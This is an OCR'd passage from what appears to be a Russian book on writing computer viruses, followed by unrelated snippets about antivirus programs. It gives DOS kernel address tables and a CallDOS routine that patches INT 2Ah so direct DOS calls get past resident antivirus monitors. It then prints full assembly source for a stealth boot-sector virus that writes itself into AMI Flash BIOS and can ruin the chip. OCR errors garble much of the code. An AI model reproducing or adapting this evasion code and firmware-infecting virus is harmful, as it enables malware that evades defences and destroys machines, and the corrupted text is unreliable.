90 МОР
90 NOP
E8CCOO CALL CheckA20
2E CS:
FF2E6A10J MP FAR NEXTDOS
Фрагмент 2 может располагаться как в верхних, так и в нижних адре-
сах памяти.
;Точка 1
NEXTDOS:
FA CLI
80FC6C СМР АН.6С
77D2 JA 40DO
80FC50 СМР АН.50
748Е JZ 40A9
;Точка 2
Для DOS 7.0 структура обработчика, в общем, такая же. Исключение -
фрагмент 1 присутствует всегда, вне зависимости от содержимого фай-
ла CONFIG.SYS. Теперь приведем конкретные значения адресов, полу-
ченные для разных случаев:
DOS 7.0 (русская версия)
Точка О OOC9:OFB2 9090
Точка 1 FF03:41E7 80FA
Точка 2 FF03:420A 1E06
Точка 2А FF03:5333 2ACD
DOS 6.20
device=himem. sys
dos=high
Точка О 0123:109Е 9090
Точка 1 FDC8:40F8 80FA
Точка 2 FDC8:411B1E06
Точка 2А FDC8:41D12ACD
DOS 6.20
dos=high
Точка О 0123:109Е ОЗЕВ
Точка 1 03AC:40F8 80FA
Точка 2 ОЗАС:411В 1Е06
Точка 2А 03AC:41D1 2ACD
DOS 6.20
Точка 1 002A:40F8 SOFA
Точка 2 002А:411В 1Е06
Точка 2А 002A:41D1 2ACD
DOS 5.0
device=himem. sys
dos=high
Точка О 0123:109Е 9090
Точка 1 FDC8:40EB80FA
Точка 2 FDC8:410E 1Е06
Точка 2А FDC8:41C42ACD
DOS 5.0
dos=high
Точка О 0123:109Е ОЗЕВ
Точка 1 03AC:40F8 80FA
Точка 2 ОЗАС:411В 1Е06
Точка 2А 03AC:41D1 2ACD
DOS 5.0
Точка 1 002А:40ЕВ 80FA
Точка 2 002А:410Е 1Е06
Точка 2А 002A:41D1 2ACD
DOS 3.30
Точка О 0070:05DC 892E
Точка 1 0294:1460 ЗА2Е
Точка 2 0294:1480
Точка 2А 0294:151 В 2ACD
DOS 3.10
Точка О 0070:OD43
DOS 3.20
Точка 0 0070:17DO
Точка 2 является оптимальной, то есть в нее целесообразнее всего пере-
давать управление, чтобы обойти резидентные антивирусные мониторы.
Точка 2А - это позиция инструкции INT 2Ah, которую DOS обязатель-
но выполняет в процессе обработки 21-го прерывания.
В конце каждой строки приведены контрольные слова - на тот случай,
если по указанному адресу находится нечто иное.
Борьба с антивирусными мониторами
Современные антивирусные мониторы умеют отслеживать факт прямо-
го обращения программ к DOS.
Защиту 21-го прерывания можно организовать более эффективно, ис-
пользуя метод встраивания в ядро операционной системы. Общеприня-
тая схема такова: в точку входа прерывания INT 21h записывается инст-
рукция JMP FAR на обработчик, который проверяет номер функции на
безопасность. Он восстанавливает оригинальные инструкции в точке вхо-
да прерывания и вызывает обработчик INT 21h. После возврата управле-
ния из прерывания, в точку входа снова записывается инструкция JMP
FAR, и управление передается программе, вызвавшей INT 21h.
Здесь описан обычный "сплайсинг" (встраивание), который широко
применяется разработчиками вирусов. Отметим, что для перехода не
обязательно использовать инструкцию JMP FAR (она занимает 5 байт
в памяти и не везде может быть размещена). Вместо нее можно приме-
нить INT 3, затратив всего 1 байт. В то же время необходимо обеспе-
чить обработку вызовов с кодами OOh, 4Ch, 31h (они не возвращают уп-
равление в исходную точку), а также самовызовов (при завершении
процессов посредством INT 27h и INT 20h).
Процесс развивается следующим образом. Первый компонент антивирус-
ного монитора встраивается в ядро DOS, а второй - просто перехватыва-
ет цепочку 21-го прерывания. Когда программа выполняет инструкцию
INT 21h, управление передается второму компоненту. У антивирусных
мониторов существует список функций, которые воспринимаются ими
как опасные. Они могут сделать проверку на наличие заданной функ-
ции в этом списке, затем выставить флаг "проход цепочки" и передать
управление дальше. Когда первый компонент получает управление, он
проверяет флаг "прохода цепочки". Если он выставлен, то была инст-
рукция INT 21h, поэтому необходимо сбросить флаг "проход цепочки"
и передать управление в DOS. Если флаг сброшен, это значит, что был
5 - 1436
выполнен прямой вызов. В этом случае требуется принимать соответ-
ствующие меры против возможных действий вируса.
Эта идея исключительно проста и эффективна. В том или ином виде ее
применяют почти все современные антивирусные мониторы. Вот один
из таких вариантов.
После трассировки прерывания выполняется обращение к DOS по
оригинальному адресу. Программа AVPTSR перехватывает обращение.
Точнее, AVPTSR перехватывает INT 2Ah, причем этот вызов произве-
ден из INT 21h, вблизи начала фрагмента. Обработчик INT 08h,
то есть таймера, периодически восстанавливает вектор 2Ah, если он
был отключен.
Подразумевается, что флаг прохода цепочки 21-го прерывания проверя-
ется в обработчике INT 2Ah.
Конструирование неотслеживаемого обращения к DOS
Для чего нужно такое конструирование? Неужели антивирусные мони-
торы настолько бдительны, что пресекают любые попытки открыть для
модификации ЕХЕ- или СОМ-файл? Да, это действительно так. Авто-
ры антивирусных мониторов обладают достаточно эффективными сред-
ствами, чтобы предотвратить прямые обращения к DOS со стороны ви-
русов.
Обратимся к мнению Ю. Косивцова: "Для обнаружения действия нере-
зидентных вирусов необходимо контролировать вызов функций DOS
с номерами: 3Dh (открытие файла через описатель), OFh (открытие
файла через FCB и 5Dh) и подфункцию OOh (косвенный вызов DOS).
Если при открытии файла обнаружено, что расширение его СОМ, ЕХЕ
или SYS, то можно выдавать предупреждающее сообщение".
Список выглядит слишком коротким. Действительно, а что произойдет,
если сначала переименовать программный файл? И почему не учтена
функция 6Ch (расширенное открытие файла)? А что будет, если от-
крыть файл для чтения, а затем изменить режим доступа прямым обра-
щением к SFT?
Конечно же, авторы антивирусных мониторов не столь наивны. Просто
они никогда не раскрывают свои профессиональные секреты. Например,
авторы программы AVPTSR реально учли и использовали все эти мето-
дики и тонкости.
Итак, предположим, что гипотетический антивирусный супермонитор:
- отслеживает и блокирует попытки трассировки 21-го прерывания;
- для контроля "опасных" функций DOS встраивается в начало обра-
ботчика прерывания INT 21h;
- для предотвращения прямого обращения к DOS использует флаг,
сбрасываемый либо во вставленном фрагменте, либо в обработчике
прерывания 2Ah (более грамотный подход).
Эти действия монитора порождают соответствующие проблемы при
конструировании неотслеживаемого обращения к DOS.
Первая проблема достаточно просто решается с использованием "мето-
да предопределенных адресов".
Для решения второй проблемы стоит проанализировать возможное
расположение в обработчике DOS точки перехода на антивирусный
монитор. Очевидно, это может быть точка 0 либо точка 1. В самом
худшем случае можно допустить, что врезка происходит непосред-
ственно после команды проверки на максимальное значение номера
функции. Далее обработчик DOS "растекается" на многочисленные
ручейки, поэтому отследить их все крайне затруднительно. По край-
ней мере, обработчики функций OFh, 3Dh и 5Fh попадают в разные
ручейки. Однако, при использовании ограниченного набора функций
они могут разместиться и в одном ручейке, что намного упростит ре-
шение данной задачи. Функции 3Ch-43h, отвечающие за создание, от-
крытие, закрытие, чтение, запись, атрибуты и перемещение, действи-
тельно располагаются в одном общем ручейке. Это позволяет
использовать адрес точки 2 для прямого обращения к DOS. Монито-
ры, скорее всего, не будут отслеживать эту точку.
Решение третьей проблемы также не вызовет особых затруднений.
Один из вариантов - замаскировать прерывания таймера и изменить
вектор 8-го прерывания перед прямым обращением к DOS. Вместо из-
менения вектора можно попробовать вставить инструкции IRET в нача-
ло текущего (антивирусного) обработчика. При использовании все того
же метода "предопределенных адресов" и, зная позицию инструкции
INT 2Ah в обработчике DOS, перед прямым обращением к DOS следу-
ет просто заменить этот вызов двумя командами NOP.
Пример реализации
Рассмотрим две подпрограммы, которые используются для прямого об-
ращения к DOS.
5"
Подпрограмма SetAdr предназначена для определения адреса обработ-
чика DOS методом предопределенных адресов. Для версий DOS, "пра-
вильный" адрес которых неизвестен, используется функция DOS 35h
(получить вектор прерывания).
Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код
включена проверка на номер функции. Для "безопасных" функций
предусмотрен обычный вызов DOS при помощи инструкции INT 21h.
Процедура установки адреса (один из самых коротких,
;хотя и подозрительных вариантов реализации)
SetAdr ргос near
[Устанавливаем указатель на таблицу в регистре SI
mov si,offset Table
;Читаем очередное значение сегмента и смещения из таблицы
Next:
mov es,[si]
mov bx,[si+2]
; Проверяем контрольный код в слове, адрес которого получен
;из таблицы. Если результат отрицательный, переходим
;к следующему элементу таблицы
cmp es:[bx],2ACDh
jnz Skip
.Сохраняем адрес точки 2А
mov Ofs2A,bx
mov Seg2A,es
;Сохраняем адрес точки 2 из таблицы
mov ax, [si+4]
mov Seg21 ,ax
mov ax, [si+6]
mov Ofs21 ,ax
ret
Skip:
; Переходим к следующему элементу таблицы
add si,8
[Проверяем, не закончилась ли таблица. Если таблица закончилась,
;читаем адрес текущего обработчика прерывания
cmp [si], О
jnz Next
;Читаем адреса текущего обработчика прерывания INT 21 h - метод
;" предопределенных адресов" не сработал, точка входа не найдена
mov ax, 3521h
int 21 h
mov Ofs21,bx
mov Seg21 ,es
ret
;Таблица позиций 2А и 2.
Table dw OFF03h, 5333h,OFF03h, 420Ah
dw OFDC8h, 41D1h,OFDC8h, 411Bh
dw 0
SetAdr endp
Процедура прямого обращения к DOS
CallDOS proc near
;Если функция безопасна, вызываем прерывание обычным способом
cmp ah,3Bh
jb Trivial
cmp ah,42h
ja Trivial
;3аменяем вызов прерывания 2Ah на две команды MOP (9090h)
;в обработчике DOS, предварительно
;сохранив первоначальные значения кода
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,es:[bx]
mov cs:Save, ax
mov es:[bx], 9090h
pop bx
pop ax
pop es
;Вызываем напрямую прерывание DOS
pushf
call cs:dword ptr Ofs21
;Восстанавливаем вызов 2Ah
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,cs:Save
mov es:[bx], ax
pop bx
pop ax
pop es
ret
-.Обычное обращение к DOS (используется для безопасных функций)
Trivial:
int 21 h
ret
;B этом месте сохраняем значение для кода вызова INT 2Ah
Save dw ?
;0бработчик прерывания DOS
Ofs21 dw ?
Seg21 dw ?
;Адрес вызова INT 2Ah из обработчика DOS
Ofs2A dw ?
Seg2A dw ?
CallDOS endp
Flash BIOS
Новое место для вирусов
Flash-память - энергонезависимая память, которая обеспечивает рабо-
тоспособность EPROM со встроенной электрической схемой стирания и
перепрограммирования. Энергонезависимая память отличается от RAM
тем, что она не обнуляется при отсутствии напряжения.
Flash BIOS - Flash-память, которая используется для хранения кода
BIOS. Она может быть перепрограммирована - это предусмотрено для
облегчения обновления BIOS. Такие микросхемы применяются в 90%
портативных компьютеров, в большинстве компьютеров 486DX2,
486DX4, Pentium.
Как известно, BIOS получает управление при запуске компьютера. Все
что нужно сделать вирмейкеру - это незаметно модифицировать BIOS,
чтобы вирус стартовал перед загрузкой системы компьютера.
AMI Flash вирус
Алгоритм работы вируса:
1. Проверить компьютер на наличие Flash BIOS;
2. Проверить Flash BIOS на зараженность (осуществить выход, если
она заражена);
3. Считать вектор INT 19h из таблицы (прерывание загрузки);
4. Прочесть первые 5 байт от точки входа INT 19h;
5. Проверить BIOS на наличие свободного места для размещения ви-
руса (поиск области нулей);
6. Установить память Flash BIOS в режим записи (обычно она нахо-
дится в режиме "Readonly");
7. Записать вирус в найденную область нулей;
8. Записать переход на вирус в точку входа INT 19h;
9. Восстановить режим "Readonly" для памяти Flash BIOS.
Единственное предназначение INT 19h - быть вызванным в процессе
загрузки, чтобы загрузить boot-сектор в память и передать ему управле-
ние. Прерывание именно то, которое и требуется изменить.
Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и
записывать в нее нельзя. Поэтому во время работы вируса нельзя ис-
пользовать временные переменные в этой памяти. Более целесообразным
является создание вируса для обычного boot-сектора. Этот вирус следу-
ет поместить в конец памяти и оттуда устанавливать вектор INT 13h.
AMI BIOS обладает своими специфическими особенностями при разме-
щении в микросхемах Flash-памяти, которые базируются на использова-
нии функции EOh прерывания INT 16h. Самое интересное состоит
в том, что однажды внесенный в эту память вирус может запретить по-
вторно использовать указанную функцию. Это запретит антивирусным
программам воспользоваться ею в процессе удаления вируса из BIOS
компьютера. Исходя из этого, авторам антивирусных программ придет-
ся трассировать INT 16h, чтобы получить оригинальный вектор.
Исходный текст вируса, заражающего Flash BIOS.
;Вирус, заражающий Flash BIOS.
;Если на компьютере есть Flash BIOS, имеется шанс, что его могут
.серьезно испортить. Если BIOS изменится, это может привести
;к неприятностям. Нельзя будет загрузиться даже с "чистой"
;дискеты. Зараженный чип в рабочее состояние не вернуть.
огд О
;При входе в boot-сектор 01=загрузочный диск
mov si,7COOh
[Установим OOOOh в регистрах DS и ES
хог ах,ах
mov es.ax
mov ds.ax
.Установим значение стека OOOOh:7COOh
cli
mov ss.ax
mov sp.si
sti
;Уменьшим на 1Кбайт память (0040h:0013h)
dec word ptr [0413h]
;Получим размер памяти (при возврате в АХ)
int 12h
;Так как размер памяти указан в килобайтах (1024 байт), а нужно
;в параграфах (16 байт), умножим его на 64, что эквивалентно
;сдвигу на 6 разрядов влево
mov cl,6
shi ax.cl
.Установим новый сегмент вируса (вершина памяти)
mov es,ax
.Перенесем вирусный сектор в вершину памяти
xor di,di
mov cx,200h
eld
rep movsb
;Сохраним вектор прерывания INT 13h. Поскольку этот вирус
[загрузился до загрузки DOS, то прерывание INT 21 h еще не
работает - работаем с вектором прерывания прямо в таблице
mov ax.word ptr [13h*4]
mov word ptr es: [off set i13],ax
mov ax.word ptr [13h*4+2]
mov word ptr es: [offset i 13+2],ax
.Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es
[Переходим в точку ES:Restart (в копии вируса,
[находящейся в вершине памяти)
already_resident:
push es
mov ax,offset Restart
push ax
retf
;C этого места программа работает уже в вершине памяти
Restart:
[Загружаем оригинальный boot-сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
.функцию ООп прерывания INT 13h)
xor ах.ах
call int13h
[Подготовим регистры для загрузки оригинального boot-сектора
хог ах.ах
mov es,ax ;Сегмент для загрузки
mov bx,7COOh ;Смещение для загрузки
mov cx,0002h Дорожка 0, сектор 2
хог dh.dh ;Головка О
mov ax,0201h ;Функция 2, количество секторов 1
[Проверим диск, с которого грузимся. 80h и выше - жесткий диск,
;иначе - дискета. Копия оригинального boot-сектора хранится
;в разных местах: на жестком диске - дорожка 0, головка 0, сектор 2;
;на дискете - дорожка 0, головка 1, сектор 14
cmp dl,80h
jae MBR_Loader
;Грузимся с дискеты: изменим сектор и головку
mov с1,14 ;Сектор 14
mov dh,1 ;Головка 1
;3агрузим оригинальный boot-сектор по адресу OOOOh:7COOh
MBRJ-oader:
call int13h
.Сохраним в стеке номер диска, с которого грузимся
push dx
Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done,1
je Flash_resident
;3аразим Flash BIOS
call flash_BIOS
.Восстановим из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
;3апускаем оригинальный boot-сектор (JMP FAR OOOOh:7COOh)
db OEAh
dw 7COOh
dw 0
;Сюда попадаем, когда происходит чтение boot-сектора. Скрываем
[Присутствие вируса методом чтения оригинального boot-сектора
Stealth:
Остановим значения сектора, где хранится копия оригинального
iboot-сектора
mov cx,02h
mov ax,0201h
[Проверим, откуда считан boot-сектор (дискета или жесткий диск),
;так как копии хранятся в разных местах
cmp dl,80h
jae hd_stealth
mov cl,14
mov dh,1
hd_stealth:
Прочтем копию оригинального boot-сектора. Так как
;номера секторов подменены, фактически "копия выдается
;за оригинал" - скрываем свое присутствие (Stealth).
call int13h
[Выходим из обработчика прерывания
jmp pop_exit
;Проверка наличия резидентного вируса - ответим:
;запрос INT 13h (AX=ABBAh), ответ AX=BMBh
resJest:
xchg ah,al
iret
.Обработчик прерывания INT 13h
Handler:
.Если при вызове в АХ находится ABBAh,
.значит это проверка наличия резидентного вируса
cmp ax.OABBAh
je resJest
[Перехватываем только функцию 02h (чтение сектора): проверяем
;номер функции. Если не 2, запускаем оригинальный обработчик
cmp ah,2
jne jend
[Проверяем номера дорожки и сектора, интересуясь только теми
.секторами, в которых может оказаться вирус -
;дорожка 0, головка 0, сектор 1
cmp cx,1
jne jend
[Проверим номер головки. Если не 0, то запустим
[Оригинальный обработчик
cmp dh,0
jne jend
tryJnfect:
;Считаем сектор в буфер (для дальнейшей обработки).
;Для этого вызовем оригинальный INT 13h
call int13h
jc jend
[Сохраним регистры и флаги (обработчик не должен изменить их)
pushf
push ax
push bx
push ex
push dx
push si
push di
push es
push ds
Проверяем, заражен ли данный диск вирусом: читаем сигнатуру.
;Если диск заражен, скрываем присутствие вируса
cmp word ptr es:[bx+offset marker],"LV"
je stealth
;Если диск не заражен, то заражаем: проверим, откуда загружен
;boot-ceKTOp (с дискеты или с жесткого диска)
cmp dl,80h
jb infect_floppy
.Установим номера дорожки, головки и сектора для жесткого
.диска для сохранения оригинального boot-сектора
mov cx,2
xor dh.dh
jmp write_virus
lnfect_Floppy:
;Установим номера дорожки, головки и сектора для дискеты
;для сохранения оригинального boot-сектора
mov сх,14
mov dh,1
Write_Virus:
Записываем оригинальный boot-сектор
mov ax,0301h
call int-lSh
jc pop_exit
;Установим сегментный регистр ES на сегмент с вирусом
push cs
pop es
;Сбросим флаг зараженности Flash BIOS
mov byte ptr cs:flash_done,0
;3апишем тело вируса в boot-сектор
xor bx,bx
mov ax,0301h
mov cx,0001h
xor dh.dh
call int13h
восстановим регистры и флаги (как раз те их значения, которые
[свидетельствует о том, что boot-сектор только что считали)
Pop_Exit:
pop ds
pop es
pop di
pop si
pop dx
pop ex
pop bx
pop ax
popf
[Выходим из обработчика в вызывающую программу
retf 2
;3апуск оригинального обработчика
J'end:
DD OEAh .Код команды JMP FAR
;0ригинальный вектор INT13h
i13 DD 0
;Вызов прерывания INT 13h
lnt13h proc near
pushf
call dword ptr cs:[i13]
ret
lnt13h endp
Первые два байта слова используются как сигнатура
Marker db "VLAD"
;Эта подпрограмма заражает Flash BIOS
Flash_BIOS Proc Near
Проверим наличие Flash BIOS
mov ax.OEOOOh
int 16h
jc no_flash_bios
cmp al.OFAh
jne no_flash_bios
;Сначала найдем хорошее место для хранения вируса.
Лросканируем память FOOOh-FFFFh, где обычно находится BIOS,
;на наличие области 1Кбайт нулей. Хватит даже 512 байт памяти,
;но выделить нужно с запасом
lnfect_Flash:
Остановим начальный сегмент для поиска
mov ax.OFOOOh
mov ds.ax
Проверим сегмент
New_segment:
Остановим стартовое смещение
xor si,si
Остановим счетчик найденных байт
;(величина свободного места для вируса)
xor dx.dx
ok_new_segment:
;Перейдем к следующему сегменту
inc ax
mov ds,ax
Проверим, есть ли еще место для вируса
cmp ax.OFFFOh
je no_flash_BIOS
;Проверим, свободно ли место (для скорости проверяем словами)
Test-16:
cmp word ptr [si],0
jne new_segment
;Увеличим счетчик размера найденного свободного места
• inc dx
Проверим, достаточно ли найденного места. Сравниваем с 1Кбайт, но
;так как память сканируем словами, сравниваем с 512 (1Кбайт=512 слов)
cmp dx,512
je found_storage
[Увеличим смещение проверяемого байта
inc si
inc si
;Сравним с 16. Переходим к следующему сегменту
;в начале каждого параграфа
cmp si,16
je ok_new_segment
jmp test16
;B эту точку попадаем, если место найдено
Found_storage:
Перейдем к началу зоны
sub ax,40h
mov ds.ax
.Получим требования к сохранению состояния чипа
mov ax,OE001h
int 16h
;Проверим, сколько памяти необходимо для сохранения состояния
;чипа. Если слишком много, не будем сохранять состояние
cmp bx,512
jbe save_chipset
;Установим флаг, показывающий, что состояние не сохраняли
mov byte ptr cs:chipset,1
[Перейдем к записи
jmp write_enable
;Сюда попадаем, если Flash BIOS не обнаружен:
записывать некуда - выходим
No_Flash_BIOS:
ret
[Сохраним состояние чипа
save_chipset:
[Установим флаг, показывающий, что состояние сохранили
mov byte ptr cs:chipset,0
.Сохраним состояние
mov al,2
push cs
pop es
mov di, offset buffer
int 16h
[Записываемся во Flash BIOS
write_enable:
[Повышаем напряжение
mov al,5
int 16h
;Разрешаем запись во Flash BIOS
mov al,7
int 16h
.Копируем 512 байт вируса во Flash BIOS
push ds
pop es
xor di.di
mov ex,512
push cs
pop ds
xor si,si
eld
rep movsb
;3десь нужна особая осторожность. lnt19h указывает на BIOS,
;позднее оно перехватывается различными программами.
.Если трассировать его, можно наткнуться на закрытую область
;или на сегмент 70h, но этого не будет при загрузке. Понятно,
;что это единственное удачное время для выполнения вируса.
;Все, что нужно - "внедриться" в int19h.
;Можно перехватить его в том месте, где находится
сохраненная таблица векторов, но сделаем интереснее.
.Получим смещение оригинального обработчика int19h
mov bx.es ;ВХ=сегмент вируса
xor ах.ах
mov ds.ax ;DS=Ta6nHua векторов
mov di.word ptr [19h*4] ;Смещение INT 19h
mov es.word ptr [19h*4+2] ;Сегмент INT 19h
;3апишем JMP FAR по адресу точки входа в INT 19h
mov al.OEAh
stosb
mov ax,offset int19handler
stosw
mov ax.bx
stosw
.Понизим напряжение
mov ax,OE004h
int 16h
;3ащитим Flash BIOS от записи
mov al,6
int 16h
;Проверим, сохранялось ли состояние чипа, если нет - выходим
cmp byte ptr cs:chipset,0
jne No_Flash_BIOS
.Восстановим состояние чипа
push cs
pop es
mov al,3
mov di, offset buffer
int 16h
jmp No_Flash_BIOS
;Флаг несохранения состояния чипа
chipset db 0
;Флаг присутствия вируса во Flash BIOS
flash_done db 0
;Наш обработчик INT 19h.
lnt19Handler Proc Near
;Установим сегментный регистр ES в ноль
хог ах.ах
mov es.ax
[Проверим наличие резидентного вируса
mov ax.OABBAh
int 13h
;Если вирус присутствует, то запускаем оригинальный
[обработчик прерывания INT 19h
cmp ax.OBAABh
jne realJnt19h
[Перенесем вирус из BIOS в boot-буфер
push cs
pop ds
eld
xor si,si
mov di,7c00h
mov ex,512
rep movsb
;3апустим вирус в boot-буфере
mov dl,80h
jmp goto_Buffer
Real_int19h:
;Произведем сброс дисковой подсистемы
xor ax,ax
int 13h
Лроинициализируем значения регистров для загрузки boot-сектора
mov ex, 1
mov dh,0
mov ax,0201h
mov bx,7COOh
.Проверим, откуда грузимся: если DL не нулевой,
;переходим к загрузке с жесткого диска
cmp dl,0
J'a hd_int19h
;Прочтем boot-сектор с дискеты. Если при чтении происходит
;ошибка, то читаем с жесткого диска
int 13h
jc fix_hd
Остановим флаг, показывающий присутствие вируса во Flash BIOS
Goto_Buffer:
mov byte ptr es:[7COOh+offset flash_done],1
;3апустим boot-сектор, находящийся в boot-буфере
db OEAh ;Код команды JMP FAR
dw 7c00h
dw 0
Fix_HD:
[Установим номер диска для загрузки (диск С)
mov dl,80h
HD_lnt19h:
Произведем сброс дисковой подсистемы
хог ах,ах
int 13h
.Прочтем boot-сектор
mov ax,0201h
int 13h
jc Boot
jmp Goto_Buffer
;Если не удалось загрузить boot-сектор,
.вызываем прерывание INT 18h
Boot:
int 18h
lnt19Handler EndP
Flash_BIOS EndP
End_Virus:
;Размер области памяти, необходимый для дополнения
;размера вируса до 510 байт
DupSize equ 510-offset End_Virus
Заполнение незанятой вирусом части сектора
db DupSize dup (0)
db 55h,0aah
;Место для сохранения состояния чипа
Buffer:
... "стерильных" носителях стоят немалых денег в конвертируемой валюте. Поэтому избежать их неконтролируемого копирования почти невозможно. Справедливости ради следует отметить, что распространение компьютерных вирусов имеет и некоторые положительные стороны. В частности, они являются, по-видимому, лучшей защитой от похитителей программного обеспечения. Зачастую разработчики сознательно заражают свои ...
... для вирусов) действия. Разумеется, антивирусные программы надо применять наряду с регулярным резервированием данных и использованием профилактических мер, позволяющих уменьшить вероятность заражения вирусом. Виды антивирусных программ. Антивирусные программы можно разделить на виды в соответствии с выполняемыми ими функциями. Детекторы. Программы-детекторы позволяют обнаруживать файлы, ...
... антивирусные программы, позволяющие выявлять вирусы, позволяющие выявлять вирусы, лечить заражённые файлы и диски, обнаруживать и предотвращать подозрительные(характерные для вирусов ) действия. Разумеется, антивирусные программы надо применять наряду с регулярным резервированием данных и использованием профилактических мер, позволяющих уменьшить вероятность заражения вирусом. 7.1. Виды ...
... в ноябре 1988 года заразил порядка 7 тысяч персональных компьютеров, подключенных к Internet. Первые исследования саморазмножающихся искусственных конструкций проводились в середине нынешнего столетия. Термин «компьютерный вирус» появился позднее - официально его автором считается сотрудник Лехайского университета (США) Ф.Коэн в 1984 году на седьмой конференции по безопасности информации. ...
0 комментариев